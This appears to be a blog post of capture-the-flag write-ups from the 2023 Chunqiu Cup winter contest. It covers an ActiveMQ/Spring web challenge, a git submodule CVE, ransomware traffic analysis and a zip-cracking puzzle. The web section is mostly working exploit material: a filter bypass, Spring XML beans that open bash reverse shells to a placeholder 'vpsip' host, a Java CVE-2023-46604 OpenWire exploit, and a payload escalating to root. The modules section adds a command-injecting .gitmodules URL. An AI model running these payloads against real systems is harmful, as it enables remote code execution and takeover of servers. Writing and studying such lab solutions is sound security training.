2023春秋杯冬季赛wp

web

Active-Takeaway

题目描述:

点外卖的你突发奇想:如果拿下了订餐系统,是不是可以一劳永逸当懒虫了?(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)

题目思路:

cve-2023-46604

解题过程:

查看附件中的dockerfile

FROM apache/activemq-classic:5.17.5
RUN apt update
RUN apt install -y wget#安装wget可以下载文件
RUN apt clean

COPY flag /flag#文件复制
COPY start.sh /start.sh
RUN chmod 400 /flag#高权限查看
RUN chmod +x /start.sh

WORKDIR /customer
COPY customer-0.0.1-SNAPSHOT.jar customer.jar

WORKDIR /merchant
COPY merchant-1.0-SNAPSHOT-jar-with-dependencies.jar merchant.jar

RUN useradd -ms /bin/bash player
RUN chown -R player:player /opt/apache-activemq
RUN chown -R player:player /customer
RUN ln -s /opt/java/openjdk/bin/java /usr/bin/java
USER player
EXPOSE 8088

USER root
CMD /start.sh

查看附件中的启动文件start.sh

#!/bin/bash
su -c "/opt/apache-activemq/bin/linux-x86-64/activemq console" - player &#低权限启动程序
sleep 5s
su -c "/opt/java/openjdk/bin/java -jar /customer/customer.jar" - player &#低权限启动程序
java -jar /merchant/merchant.jar tcp://localhost:61616 http://localhost:8088#映射web服务

查看附件中的jar包,首先是customer-0.0.1-SNAPSHOT.jar,查看controller

 package BOOT-INF.classes.com.example.customer.controller;//找到此类
 
 import com.example.customer.entity.OrderEntity;
 import com.example.customer.service.FoodService;
 import java.lang.reflect.InvocationTargetException;
 import java.util.List;
 import javax.annotation.Resource;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.PathVariable;
 import org.springframework.web.bind.annotation.PostMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.bind.annotation.RestController;
 
 @RestController
 @RequestMapping({"/api"})
 public class OrderController {
   @Resource
   private FoodService foodService;
   
   @GetMapping({"/listorders"})
   public List<OrderEntity> listOrders() {
    return this.foodService.listOrders();
   }
   
   @GetMapping({"/makeorder"})
   public Long makeOrder() {
    return this.foodService.order();
   }
   
   @GetMapping({"/take/{id}"})
   public Long take(@PathVariable Long id) {
    return this.foodService.take(id);
   }
   
   @GetMapping({"/orderstatus/{id}"})
   public OrderEntity orderStatus(@PathVariable Long id) {
    return this.foodService.orderStatus(id);
   }
   
   @PostMapping({"/changefood"})//存在任意类构造方法
   public String change(@RequestParam String foodServiceClassName, @RequestParam String name) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
     Class<?> foodServiceClass;
     try {
      foodServiceClass = Class.forName(foodServiceClassName);//存在任意类构造方法
    } catch (ClassNotFoundException e) {
      foodServiceClass = Class.forName("com.example.customer.service.IronBeefNoodleService");
     } 
    this.foodService = foodServiceClass.getDeclaredConstructor(new Class[] { String.class }).newInstance(new Object[] { name });
    return "Changed to " + foodServiceClassName + " with name " + name;
   }
 }

查看filter

 package BOOT-INF.classes.com.example.customer.filter;//找到此类
 
 import java.io.IOException;
 import javax.servlet.Filter;
 import javax.servlet.FilterChain;
 import javax.servlet.FilterConfig;
 import javax.servlet.ServletException;
 import javax.servlet.ServletRequest;
 import javax.servlet.ServletResponse;
 import javax.servlet.annotation.WebFilter;
 import javax.servlet.http.HttpServletRequest;
 
 @WebFilter(filterName = "customerFilter", urlPatterns = {"/api/*"})
 public class CustomerFilter implements Filter {
   public void init(FilterConfig filterConfig) throws ServletException {
    super.init(filterConfig);
   }
   
   public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
    String uri = ((HttpServletRequest)request).getRequestURI().replaceAll("/api", "");
    String endpoint = uri.replaceAll("/", "");
    if (endpoint.equalsIgnoreCase("changefood")) {//拦截changefood,使用;绕过
      response.getWriter().write("Under construction...");
       return;
     } 
    chain.doFilter(request, response);
   }
   
   public void destroy() {
    super.destroy();
   }
 }

然后构造利用链,启动vps的http,启动监听

python3 -m http.server 8000
nc -lnvp 2333

vps放入Active-Takeaway.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[bash -i >& /dev/tcp/vpsip/2333 0>&1]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

向目标服务器发送数据包

POST /api/changefood; HTTP/1.1
Host: 39.106.48.123:25134
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 142

foodServiceClassName=org.springframework.context.support.ClassPathXmlApplicationContext&name=http://vpsip:8000/Active-Takeaway.xml

然后获得低权限shell

root@user:~# nc -lnvp 2333
Listening on 0.0.0.0 2333
Connection received on 39.106.20.178 25134
bash: cannot set terminal process group (100): Inappropriate ioctl for device
bash: no job control in this shell
player@engine-1:~$ id
id
uid=1000(player) gid=1000(player) groups=1000(player)

接下来的目标就是去攻击高权限的 merchant (Consumer),从dockerfle里面知道 activemg 的版本,这个版本存在CVE-2023- 46604, merchant可以看到merchant和broker建立了长连接,参考链接http://www.yulegeyu.com/2023/11/02/ActiveMQ%E4%BB%8EBroker%E5%88%B0Consumer/

package org.example;//找到此类

import com.example.customer.entity.OrderEntity;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.HierarchicalStreamDriver;
import com.thoughtworks.xstream.io.xml.StaxDriver;
import java.net.HttpURLConnection;
import java.net.URI;
import java.util.List;
import javax.jms.Connection;
import javax.jms.Destination;
import javax.jms.JMSException;
import javax.jms.Message;
import javax.jms.MessageConsumer;
import javax.jms.Queue;
import javax.jms.Session;
import javax.jms.TextMessage;
import org.apache.activemq.ActiveMQConnectionFactory;

public class Main {
  public static void main(String[] args) throws JMSException {
    ActiveMQConnectionFactory connectionFactory = new ActiveMQConnectionFactory(args[0]);
    connectionFactory.setTrustedPackages(List.of(new String[] { "com.example.customer.entity" }));
    Connection connection = connectionFactory.createConnection();
    connection.start();
    Session session = connection.createSession(false, 1);
    Queue queue = session.createQueue("Orders");
    MessageConsumer consumer = session.createConsumer((Destination)queue);
    consumer.setMessageListener(message -> {
          if (message instanceof TextMessage) {
            TextMessage textMessage = (TextMessage)message;
            try {
              XStream xstream = new XStream((HierarchicalStreamDriver)new StaxDriver());
              xstream.allowTypesByWildcard(new String[] { "com.example.customer.entity.*" });
              OrderEntity entity = (OrderEntity)xstream.fromXML(textMessage.getText());
              take(entity, args[1]);
            } catch (JMSException e) {
              e.printStackTrace();
            } 
          } 
        });
    System.out.println("Waiting for messages...");
  }
  
  private static void take(OrderEntity orderEntity, String baseURL) {
    try {
      Thread.sleep(5000L);
      URI uri = new URI(baseURL);
      URI endpoint = uri.resolve(new URI("/api/take/" + orderEntity.getId()));
      HttpURLConnection connection = (HttpURLConnection)endpoint.toURL().openConnection();
      connection.setRequestMethod("GET");
      connection.getInputStream();
    } catch (Exception e) {
      e.printStackTrace();
    } 
  }
}

这里可以利用CVE-2023-46604在broker上下文里执行代码,在activemg中的org.apache.activemq.broker.BrokerRegistry#getinstance 里可以拿到和broker保持长连接的merchant线程。构造ExploitBroker.java

import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;

public class ExploitBroker {
    public static void main(String[] args) throws IOException{
        Socket socket =new Socket("localhost",61616);
        OutputStream os = socket.getOutputStream();
        DataOutputStream dataOutput = new DataOutputStream(os);
        dataOutput.writeInt(0);//size
        dataOutput.writeByte(31);//tpye

        dataOutput.writeInt(0);//commandid
        dataOutput.writeBoolean(false);//command response required
        dataOutput.writeInt(0);//correlationid
        //body
        dataOutput.writeBoolean(true);
        //utf
        dataOutput.writeBoolean(true);
        dataOutput.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
        dataOutput.writeBoolean(true);
        dataOutput.writeUTF("http://vpsip:8000/broker.xml");

        dataOutput.close();
        os.close();
        socket.close();
    }
}

本地煸译好java文件为class后利用curl把class文件拿到受害服务器上

player@engine-1:~$ cd /tmp && curl http://vpsip:8000/ExploitBroker.class -o ExploitBroker.class
ss -o ExploitBroker.class4.155.212.249:8000/ExploitBroker.clas
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1212  100  1212    0     0   3348      0 --:--:-- --:--:-- --:--:--  3357

然后在http服务器上准备broker.xml(注意替换vpsip)

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd
            http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd">

    <context:property-placeholder ignore-resource-not-found="false" ignore-unresolvable="false"/>

    <bean class="java.lang.String">
        <property name="String" value="#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval(&quot;function getunsafe() {var unsafe = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');unsafe.setAccessible(true);return unsafe.get(null);} var unsafe = getunsafe(); brokerRegistry = org.apache.activemq.broker.BrokerRegistry.getInstance();brokers = brokerRegistry.getBrokers();for(key in brokers){   brokerService = brokers.get(key);  try{ f = brokerService.getClass().getDeclaredField('shutdownHook'); }catch(e){f = brokerService.getClass().getSuperclass().getDeclaredField('shutdownHook');}   f.setAccessible(true);   shutdownHook = f.get(brokerService);   threadGroup = shutdownHook.getThreadGroup();   f = threadGroup.getClass().getDeclaredField('threads'); threads = unsafe.getObject(threadGroup, unsafe.objectFieldOffset(f)); for(key in threads){       thread = threads[key];       if(thread == null){           continue;       }       threadName = thread.getName();       if(threadName.startsWith('ActiveMQ Transport: ')){           f = thread.getClass().getDeclaredField('target');                      tcpTransport = unsafe.getObject(thread, unsafe.objectFieldOffset(f));           f = tcpTransport.getClass().getDeclaredField('socket');           f.setAccessible(true);           socket = f.get(tcpTransport);           bos = new java.io.ByteArrayOutputStream();           dataOutput = new java.io.DataOutputStream(bos);           dataOutput.writeInt(1);           dataOutput.writeByte(31);    bs = new org.apache.activemq.openwire.BooleanStream();    bs.writeBoolean(true);  bs.writeBoolean(true);  bs.writeBoolean(true);  bs.writeBoolean(false);   bs.writeBoolean(true); bs.writeBoolean(false);  bs.marshal(dataOutput); dataOutput.writeUTF('bb');  dataOutput.writeUTF('aa');  dataOutput.writeUTF('org.springframework.context.support.ClassPathXmlApplicationContext');  dataOutput.writeUTF('http://vpsip:8000/rootshell.xml');  dataOutput.writeShort(0);  socketOutputStream = socket.getOutputStream();           socketOutputStream.write(bos.toByteArray());         }   }   }&quot;)}"/>
    </bean>
</beans>

然后vps准备 rootshell.xml 如下

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="pd" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[bash -i >& /dev/tcp/vpsip/2334 0>&1]]></value>
        </list>
    </constructor-arg>
    </bean>
</beans>

接着新开一个shell监听2334端口,然后在低权限的shell上执行 java ExploitBroker 即可得到高权限的shell

player@engine-1:/tmp$ java ExploitBroker
java ExploitBroker
player@engine-1:/tmp$ 

2334端口

root@ser668907688602:~# nc -lnvp 2334
Listening on 0.0.0.0 2334
Connection received on 39.106.20.178 28163
root@engine-1:~# cd /
cd /
root@engine-1:/# cat flag
cat flag
flag{8534690f-7e08-463b-a4fc-6973a0e10eb5}root@engine-1:/# 

Misc

modules

题目描述:

爱学习的小楠楠在复现某个CVE,搭建了本场景,你能获取到本场景下的flag吗?

题目思路:

CVE-2023-51385

解题过程:

.gitmodules:

[submodule "cves"]
	path = cves
	url = ssh://`bash exp.sh`foo.ichunqiu.com/bar

exp.sh脚本

cat /flag > /var/www/html/flag

Payload:

git clone -v https://github.com/Scorpio-m7/poc-proxycommand-vulnerable/ --recurse-submodules

访问/flag目录得到flag

勒索流量

题目描述:

你是某科技公司的网络安全工程师,你的公司是一家专门从事人工智能和机器学习的创新型企业,拥有大量的数据和知识产权。你的工作是保护公司的网络系统免受外部的攻击和威胁,确保公司的数据安全和业务稳定。一天,当你正在监控公司的网络状况时,你突然发现了一些异常的现象,部分服务器无法访问,部分数据无法读取,同时你的安全设备产生了告警,截获了一段经过加密的流量。你立刻感到了一丝不祥的预感,你怀疑公司的网络遭到了黑客的攻击,你决定对这段流量进行分析,以找出网络故障的原因和攻击者的身份。(关注微信公众号“勒索病毒头条”,发送关键词“被加密的流量”可获取该题提示。)

题目思路:

公众号提示:时间戳通过Epoch Time获得

解题过程:

过滤 HTTP 流量,发现先是扫描文件,接着试探上传多种木马文件,最后成功上传了 .user.ini 一句话木马,然后写入1.png木马,流36可以发现蚁剑的流量特征

QzovU29mdHdhcmUvUGhwc3R1ZHlfcHJvL1dXVy9jdGYvdXBsb2FkCUM6RDoJV2luZG93cyBOVCBMSVUgMTAuMCBidWlsZCAyMjYyMSAoV2luZG93cyAxMCkgQU1ENjQJSDNybWVzazF054f6657362
from base64
C:/Software/Phpstudy_pro/WWW/ctf/upload	C:D:	Windows NT LIU 10.0 build 22621 (Windows 10) AMD64	H3rmesk1tç‡úëž÷ë

流44发现攻击者上传了一个勒素信文件,接着在下一个流量包中,玫击者上传了一个s3creT.txt文件, 内容为R@ns0mwar3_V1ru5

52406E73306D776172335F5631727535
from hex
R@ns0mwar3_V1ru5

在798条流量发现攻击者上传了一个server.py的文件,分析脚本发现是rc4加密,key=R@ns0mwar3_V1ru5,然后继续追流量发现脚本被修改端口为9999。于是使用tcp.port == 9999进行过滤,获得其中的data,手动设置一下时间戳,时间戳通过Epoch Time获得。最终发现1037包对应时间戳解密data为flag

python脚本

import os
import hashlib
def calculate_md5(string):
    md5_hash = hashlib.md5()
    md5_hash.update(string.encode('utf-8'))
    md5_hex = md5_hash.hexdigest()
    return md5_hex
key = calculate_md5("R@ns0mwar3_V1ru5")

from Crypto.Cipher import ARC4
import base64
def rc4_decrypt(data, key1):
    data = base64.b64decode(data)
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.decrypt(data)
    res = str(res, 'gbk', errors='ignore')
    return res

def t1(data,timestamp):
    import re
    from datetime import datetime, timedelta
    current_time = datetime.fromtimestamp(timestamp)
    target_time = current_time.replace(second=0, microsecond=0)
    timestamp = int(target_time.timestamp())
    key1 = hex(timestamp)[2:].zfill(8)
    key1 = re.findall(r'.{2}', key1)
    key1 = [int(i, 16) for i in key1]
    data = list(data)
    for i in range(len(data)):
        data[i] = chr(ord(data[i]) ^ key1[i % 4])
    data = ''.join(data)
    return data

def decrypt(data, key,timestamp):
    data = t1(data,timestamp)
    data = rc4_decrypt(data, key)
    return data

hex_data = "16c3b2c295c3be04c29cc29fc3a90cc39ec2a3c39937c391c3a7c3811cc38bc3a0c39b29c29ac2b1c3b830c3b2c286c3a13cc38ac296c38d13c3a2c29dc3920bc3bac2a8c2bb22c29bc287c3a328c3afc29cc3bd27c390c3a6c38110c381c2a5c381"
data = bytes.fromhex(hex_data).decode('utf-8')
res = decrypt(data, key, 1705562796.602401000)
print(res)

谁偷吃了我的外卖

题目描述:

小凯最近入职了大厂,但是在工作途中出现了一些麻烦事,怎么办呢

题目思路:

foremost分离图片得到压缩包里面有提示I can give you a hint: - = /。But there was a takeaway that was partially eaten.

解题过程:

foremost分离图片得到压缩包,里面有三个文件,第一个外卖被偷吃了,使用脚本把用户中间的base64取出来

import re
import zipfile
import base64
zip_file_path="外卖箱.zip"
with zipfile.ZipFile(zip_file_path, 'r') as zip_ref:
    file_list=zip_ref.namelist()
    file_list_decoded=[file.encode('cp437').decode('gbk') for file in file_list]
    
base64_data_list=[]
for i in file_list_decoded:
    try:
        base64_data=re.search(r"用户(\d+)_([\w+-=]{4})的外卖",i).groups()
        base64_data_list.append(base64_data)
    except:
        pass
base64_data_list_sorted=sorted(base64_data_list,key=lambda i:int(i[0]))
base64_data_str="".join([i[1] for i in base64_data_list_sorted])
base64_data_str = base64_data_str.replace("-","/")
print(base64_data_str)

发现base64解密不是明文,但是查看发现有md,txt等猜测可能还是压缩包。添加代码保存成压缩包

zip="504b03"
base64_data_str = base64.b64encode(bytes.fromhex(zip)).decode()+base64_data_str
with open('key.zip', 'wb') as f:
    f.write(base64.b64decode(base64_data_str))

md中有一半的flag,图片给了加密的算法,并且看到CRC是相同的,就可以用明文攻击,使用archpr.exe,选择plain-text模式,encrypted zip file选择外卖箱,plain-text file path 选择key.zip,开始攻击后得到压缩包,解压后得到txt.galf

def reverse_string(input_string):
    # 使用切片[::-1]来倒序字符串
    return input_string[::-1]
# 输入字符串
input_string = "}9enruoj_FTC_1ufredn0w_aaaaaaa"
# 调用函数并输出结果
reversed_string = reverse_string(input_string)
print("倒序输出的字符串是:", reversed_string)

反转过来就是flag

  • 18
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Scorpio-m7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值